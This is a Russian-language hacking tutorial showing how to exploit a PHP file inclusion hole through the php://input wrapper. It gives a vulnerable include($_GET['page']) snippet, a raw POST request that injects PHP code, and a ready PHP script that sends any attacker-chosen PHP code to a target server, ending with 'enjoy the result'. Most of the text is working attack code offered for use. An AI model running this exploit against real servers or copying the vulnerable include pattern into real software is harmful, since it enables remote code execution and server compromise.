Еще в далеком 2004 году на SecurityLab был
опубликован способ, с помощью которого можно было выполнять
произвольный php-код посредством врапера php://input. Сейчас я
расскажу тебе, как это работает.
Итак, у нас есть уязвимый
файл, с таким содержимым:
<?php
if(isset($_GET['page'])) {
include($_GET['page']);
}
Когда мы передаем скрипту в параметре page php://input
http://www.example.com/index.php?page=php://input
то происходит считывание и выполнение данных, посланных
методом POST. Грубо говоря, весь массив POST становится файлом,
и include подключает его как обычный файл. Для проведения атаки
мы должны отправить специально сформированный пакет.
1. Сейчас мы отправим PHP-код методом POST:
POST /index.php?page=php://input HTTP/1.1
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
MyIE2)
Host: www.example.com
Connection: Keep-Alive
Cache-Control: no-cache
<?php phpinfo() ?>
В ответе сервера будет отображен вывод phpinfo().
2. Напишем PHP-скрипт для удобной работы со
средой.
<?php
if (isset($_GET['cmd']) && isset($_GET['host']) &&
isset($_GET['script'])) {
$host = stripslashes(@$_GET['host']);
$script = stripslashes(@$_GET['script']);
$cmd = htmlspecialchars_decode(stripslashes(@$_GET['cmd']));
$cmd = '<?php ' . $cmd . ' ?>';
$request = "POST /" . $script . "php://input" . " HTTP/1.1\r\n";
$request .= "Accept-Language: en\r\n";
$request .= "Content-Type:
application/x-www-form-urlencoded\r\n";
$request .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0;
Windows NT 5.1; MyIE2)\r\n";
$request .= "Host: " . $host . "\r\n";
$request .= "Content-length: " . strlen($cmd) . "\r\n";
$request .= "Connection: Keep-Alive\r\n";
$request .= "Cache-Control: no-cache\r\n";
$request .= "\r\n";
$request .= $cmd . "\r\n";
$socket = fsockopen($host, $port ? $port : 80);
fputs($socket, $request);
while(!feof($socket)) echo fgets($socket, 1024);
fclose($socket);
}
?>
3. Запускаем его следующим образом:
http://localhost/input.php?host=www.example.com&script=index.php?page=&cmd=phpinfo()
4. Наслаждаемся результатом :).